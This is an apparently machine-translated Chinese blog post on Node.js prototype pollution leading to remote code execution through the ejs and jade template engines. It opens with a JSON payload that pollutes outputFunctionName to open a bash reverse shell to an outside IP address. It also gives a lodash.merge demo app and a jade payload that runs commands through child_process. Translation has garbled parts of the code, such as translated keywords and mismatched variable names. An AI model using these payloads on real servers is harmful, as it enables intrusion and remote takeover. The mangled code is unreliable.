{ "type" : "test" , "content" : { "constructor" : { "prototype" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2" }}}}

/add语音发送 6 次请求:

然后访问/get原型进行基础链,最后访问/访问/login触发render函数进行ejs模板RCE,成功反弹Shell:

配合玉模板引擎实现RCE

Nodejs 的 jade 模板引擎存在一个利用原样污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

  • 应用程序.js

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require ( 'express' ); 
var lodash= require ( 'lodash' );
var玉=需要'玉');

var app = express();
//设置模板的位置与种类
app.set( 'views' , __dirname);
app.set( "视图引擎" , "jade" );

//对原型进行污染
var evil_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\' ).execSync(\'calc\'))"}}' ;
lodash.merge({}, JSON .parse(malicious_payload));

//进行渲染
app.get( '/' , function ( req, res ) {
res.render ( "index.jade" ,{
message: 'whoami test'
});
});

//设置http
var server = app.listen( 8000 , function () {

var host = server.address().address var port = server.address().port


console .log( "应用实例,访问地址为 http://%s:%s" , host, port)
});
  • 索引.jade

代码

1 
2
h1 #{message} 
p #{message}

运行app.js后访问8000端口,成功弹出计算器:

下面我们开始分析。

Jade模板引擎RCE的国内思路和ejs模板的思路很像,当开始都是:res.render=> app.render=> tryRender=> view.render=> this.engine,然后从engine开始进入jade模板,jade的入口是exports.__express

首先可以初始options.compileDebug无初始值,我们可以通过原生覆盖开启调试模式,即:

JS

1
{ __proto__”{ “compileDebug”1 }}

然后会进入renderFile方法,跟进之:

  • node_modules/jade/lib/index.js

返回的时候进入handleTemplateCache,方法跟进handleTemplateCache:

  • node_modules/jade/lib/index.js

  • node_modules/jade/lib/index.js

玉模板和ejs不同,在编译编译之前会解析解析,接着解析:

  • node_modules/jade/lib/index.js

解析中先经过parser.parse解析,然后由compiler.compile进行编译,最后返回编译后代码:

但是在body中存在发现错误处理入口addWith只要不进入这个条件分支就可以避免出错了,需要我们通过现场污染将自我覆盖为真:

JS

1
{ "__proto__" :{ "compileDebug" : 1 , "self" : 1 }}

然后我们回过头来跟进compiler.compile,看看它的作用:

  • node_modules/jade/lib/compiler.js

首先,编译后代码会举办在this.buf中,然后通过this.visit(this.node)分析遍历解析生成的AST树这个.node,跟进访问:

  • node_modules/jade/lib/compiler.js

可以看到,如果debug为真,node.line就会被push进去,并导致导致,然后就可以返回buf部分执行命令。所以最终的Payload:

JS

1
{ "__proto__" :{ "compileDebug" : 1 , "self" : 1 , "line" : "console.log(global.process.mainModule.require('child_process').execSync('calc'))" }}

未完待续……

关于ejs和翡翠模板的原因,官方声明不是一个漏洞,原型链的破坏巨大,但是基础链污染攻击端口端,就是污染了原链,整个程序重启,其他所有对象都被污染与影响!

写了个简单的POC生成脚本,直接生成两个模板引擎的POC,上传到github

点分享

点收藏

本文来自网络或网友投稿,如有侵犯您的权益,请发邮件至:aisoutu@outlook.com 我们将第一时间删除。

相关素材